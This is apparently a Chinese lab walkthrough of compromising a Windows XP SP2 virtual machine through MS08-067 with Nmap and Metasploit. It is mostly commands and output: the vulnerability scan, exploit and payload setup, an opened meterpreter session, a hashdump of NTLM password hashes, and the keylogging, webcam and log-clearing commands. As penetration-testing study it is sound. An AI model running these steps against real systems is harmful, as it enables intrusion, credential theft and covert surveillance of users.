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CONTENTS
首先找到一台有缺陷的windowsXP的主机：
#==>>首先查看下主机的版本和类型 root@kali:/usr/share/nmap/scripts# nmap -O 10.10.10.132 Starting Nmap 6.45 ( http://nmap.org ) at 2014-05-12 05:57 CST Nmap scan report for 10.10.10.132 Host is up (0.00039s latency). Not shown: 997 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:D9:80:89 (VMware) Device type: general purpose Running: Microsoft Windows XP|2003 OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003 OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003 Network Distance: 1 hop OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 4.72 seconds #==>>检测MS08-067漏洞，使用nmap的脚本进行检测 root@kali:/usr/share/nmap/scripts# nmap --script=smb-check-vulns --script-args=unsafe=1 10.10.10.132 Starting Nmap 6.45 ( http://nmap.org ) at 2014-05-12 05:59 CST Nmap scan report for 10.10.10.132 Host is up (0.00041s latency). Not shown: 997 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:D9:80:89 (VMware) Host script results: | smb-check-vulns: | MS08-067: VULNERABLE | Conficker: Likely CLEAN | SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE | MS06-025: NO SERVICE (the Ras RPC service is inactive) |_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive) Nmap done: 1 IP address (1 host up) scanned in 7.71 seconds
使用metasploit来渗透：
msf > search ms08 #==>>搜索可用的模块 Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/windows/smb/ms08_067_netapi 2008-10-28 00:00:00 UTC great MS08-067 Microsoft Server Service Relative Path Stack Corruption 。。。。。 msf > use exploit/windows/smb/ms08_067_netapi #==>>使用该模块 msf exploit(ms08_067_netapi) > show options #==>>查看选项 Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > set RHOST 10.10.10.132 #==>>设置目标IP RHOST => 10.10.10.132 msf exploit(ms08_067_netapi) > show targets #==>>设置目标系统类型 Exploit targets: Id Name -- ---- 。。。。。 17 Windows XP SP2 Chinese - Simplified (NX) 。。。。。 msf exploit(ms08_067_netapi) > set target 17 #==>>设置为xpsp2 target => 17 msf exploit(ms08_067_netapi) > show payloads #==>>查看payloads Compatible Payloads =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- 。。。。。。 。。。。。。
直接使用meterpreter的payload：
msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp #==>>使用最简单的meterpreter payload => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > show options #==>>检查选项是否正常 Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 10.10.10.132 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/meterpreter/bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none) LPORT 4444 yes The listen port RHOST 10.10.10.132 no The target address Exploit target: Id Name -- ---- 17 Windows XP SP2 Chinese - Simplified (NX) msf exploit(ms08_067_netapi) > exploit #==>>exploit [*] Started bind handler [*] Attempting to trigger the vulnerability... [*] Sending stage (769536 bytes) to 10.10.10.132 [*] Meterpreter session 1 opened (10.10.10.130:50685 -> 10.10.10.132:4444) at 2014-05-12 15:52:24 +0800 meterpreter > #==>>成功
使用sessions的命令升级至meterpreter：
#==>>先看下sessions的命令：
msf exploit(ms08_067_netapi) > help sessions
Usage: sessions [options]
Active session manipulation and interaction.
OPTIONS:
-K Terminate all sessions #==>> 关闭所有的session
-c <opt> Run a command on the session given with -i, or all
-d <opt> Detach an interactive session
-h Help banner
-i <opt> Interact with the supplied session ID #==>> 切换到某个session
-k <opt> Terminate session
-l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all
-s <opt> Run a script on the session given with -i, or all
-u <opt> Upgrade a win32 shell to a meterpreter session #==>> 将一个win32的控制台升级为meterpreter
-v List verbose fields
#==>>使用控制台的payload：
msf exploit(ms08_067_netapi) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 10.10.10.132 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (accepted: seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 10.10.10.132 no The target address
Exploit target:
Id Name
-- ----
17 Windows XP SP2 Chinese - Simplified (NX)
msf exploit(ms08_067_netapi) > exploit -z #==>>exploit，成功后不进入交互模式，仍然保留在msf控制台
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msf exploit(ms08_067_netapi) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 shell windows
msf exploit(ms08_067_netapi) > sessions -u 1 #==>>升级，作者估计原理是传一个exe的payload，但是作者的实验环境下没有成功。
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meterpreter的常用命令：
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
help Help menu
info Displays information about a Post module
interact Interacts with a channel
irb Drop into irb scripting mode
load Load one or more meterpreter extensions
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
use Deprecated alias for 'load'
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
arp Display the host ARP cache
getproxy Display the current proxy configuration
ifconfig Display interfaces
ipconfig Display interfaces
netstat Display the network connections
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getprivs Attempt to enable all privileges available to the current process
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
suspend Suspends or resumes a list of processes
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Stdapi: Webcam Commands
=======================
Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
这里笔记下几个简单的：
meterpreter > hashdump #==>>获取hash
Administrator:500:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:302db635a4c13c3a674a109f54ce6195:03cff5d10cb73f40d453df9752d7695b:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9de683d9acfe4e749affe8a19bcfa2fb:::
test:1003:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c:::
user2:1004:44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
meterpreter > screenshot #==>>截图
Screenshot saved to: /root/uLKnLFFN.jpeg
meterpreter > uictl #==>>控制键盘鼠标
Usage: uictl [enable/disable] [keyboard/mouse]
meterpreter > sysinfo #==>>获取系统信息
Computer : WINXP-PRO-VM
OS : Windows XP (Build 2600, Service Pack 2).
Architecture : x86
System Language : zh_CN
Meterpreter : x86/win32
meterpreter > ps #==>>获取进程列表
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
0 0 [System Process] 4294967295
4 0 System x86 0 NT AUTHORITY\SYSTEM
184 672 alg.exe x86 0 NT AUTHORITY\LOCAL SERVICE C:\WINDOWS\System32\alg.exe
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meterpreter > getuid #==>>获取当前用户权限
Server username: NT AUTHORITY\SYSTEM
meterpreter > getprivs #==>>尝试升级权限
============================================================
Enabled Process Privileges
============================================================
SeDebugPrivilege
s SeLockMemoryPrivilege
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meterpreter > ipconfig #==>>IP地址
Interface 1
============
Name : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU : 1520
IPv4 Address : 127.0.0.1
Interface 2
============
Name : AMD PCNET Family PCI Ethern...
Hardware MAC : 00:0c:29:d9:80:89
MTU : 1500
IPv4 Address : 10.10.10.132
IPv4 Netmask : 255.255.255.0
meterpreter > pwd #==>>各种文件命令
C:\WINDOWS\system32
meterpreter > cd C:\
meterpreter > ls
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100777/rwxrwxrwx 0 fil 2010-01-30 14:25:12 +0800 AUTOEXEC.BAT
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100666/rw-rw-rw- 42 fil 2014-05-18 21:17:56 +0800 test.txt
meterpreter > cat test.txt
Hello World From WinXP SP2
meterpreter > load extapi #==>>加载其他的扩展模块
meterpreter > help #==>>加载后可以看帮助
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Extapi: Service Management Commands
===================================
Command Description
------- -----------
service_control Control a single service (start/pause/resume/stop/restart)
service_enum Enumerate all registered Windows services
service_query Query more detail about a specific Windows service
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meterpreter > service_enum #==>>枚举服务
Service List
============
PID Status Int Name (Display Name)
--- ------ --- -------------------
0 Stopped N alerter (Alerter)
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meterpreter > run #==>>可用的其他的脚本，很多
Display all 223 possibilities? (y or n)
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meterpreter > run vnc #==>>执行vnc脚本，也可以直接使用vnc的payload。
其他参考链接：
【 http://blog.csdn.net/emaste_r/article/details/17119093 】
【 http://www.offensive-security.com/metasploit-unleashed/Meterpreter_Basics 】
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